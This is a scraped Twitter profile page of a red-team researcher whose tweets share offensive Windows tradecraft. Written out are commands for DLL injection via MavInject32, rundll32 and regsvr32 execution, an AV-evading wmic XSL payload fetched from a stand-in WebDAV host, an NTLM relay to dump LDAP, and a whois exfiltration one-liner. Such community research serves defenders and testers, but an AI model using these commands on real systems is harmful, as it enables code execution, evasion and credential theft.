dee3

@ditrizna

Red Team, Security Research. Activity is mostly NDA affected, but sometimes there's something to share. Digging into AI Security when there's moment.

Vrijeme pridruživanja: kolovoz 2016.
1 fotografija ili videozapis Fotografije i videozapisi

Tweetovi

Blokirali ste korisnika/cu @ditrizna

Jeste li sigurni da želite vidjeti te tweetove? Time nećete deblokirati korisnika/cu @ditrizna

  1. 20. sij

    Suggest you to take a look at this attempt to put several infosec projects together: WebDav, .NET injection, Obfuscation, C&C.. Direct shout-out to for your awesome work, w/ many others rocking 🔥

    90 proslijeđenih tweetova 220 korisnika označava da im se sviđa
    Poništi
  2. proslijedio/la je Tweet
    14. pro 2017.

    Using MavInject32.exe (Microsoft Corp Signed) to load any dll in a running process. > "C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL> cc:

    867 proslijeđenih tweetova 1.232 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  3. 13. stu 2019.

    Cool research and writeup by revealing new NTLM relay vector!

    NTLM reflection is back to haunt windows. Read about Ghost Potato here (this time with a fixed link):
    Poništi
  4. proslijedio/la je Tweet
    4. lis 2019.

    I guess everyone knows about this Lolbin: RunDll32.exe shell32.dll,Control_RunDLL c:\test\test.dll but about this one? RunDll32.exe Shell32.dll,Control_RunDLLAsUser c:\test\test.dll

    6 replies 86 proslijeđenih tweetova 289 korisnika označava da im se sviđa
    Poništi
  5. proslijedio/la je Tweet
    4. ruj 2019.

    It's official, Donut is a Python module. Install with 'pip3 install donut-shellcode'

    26 proslijeđenih tweetova 61 korisnik označava da mu se sviđa
    Poništi
  6. 2. srp 2019.

    Some AV signatures do not work if you deliver payload using WebDav, like: wmic os get /format:"\\my.ip@SSL@443\wmic.xsl" BUT.. you need WebClient service to be running (not by default). Thanks to blog! Enable it with from userland: pushd \\my.ip@SSL@443\fake & popd

    5 replies 9 proslijeđenih tweetova 19 korisnika označava da im se sviđa
    Poništi
  7. proslijedio/la je Tweet
    29. svi 2019.

    When detecting "regsvr32" execution most people focus on things like /u, /i and scrobj.dll. Interestingly, if you create a DLL that exports a function called "DllRegisterServer" you can use regsvr32 to execute it by simply running "regsvr32.exe test.dll".

    38 proslijeđenih tweetova 83 korisnika označavaju da im se sviđa
    Poništi
  8. 2. svi 2019.

    PowerShell ISE Filename parsing flaw RCE: Wonder if this would work with hidden files or NTFS ADS :)

    2 korisnika označavaju da im se sviđa
    Poništi
  9. 8. ožu 2019.

    Why not only SMB, but LDAP signing is important as well. Dump LDAP contents without any AD creds, but with one in same broadcast domain (reponder SMB/HTTP off): sess1> responder -I <eth> sess2> ntlmrelayx -wh test -wa 1 -t ldap://<ad> --no-da --no-acl -l /tmp/loot

    33 proslijeđena tweeta 73 korisnika označavaju da im se sviđa
    Poništi
  10. 4. ožu 2019.

    And here's how to setup your WebDav server on Kali:

    XSL Stylesheets over WebDAV seems to work.
    29 proslijeđenih tweetova 68 korisnika označava da im se sviđa
    Poništi
  11. 4. ožu 2019.

    whois -h <IP> -p <PORT> <PAYLOAD>

    Tweet je nedostupan.
    2 korisnika označavaju da im se sviđa
    Poništi

@ditrizna još nije objavio nijedan Tweet.

Čini se da učitavanje traje već neko vrijeme.

Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.

    Možda bi vam se svidjelo i ovo:

    ·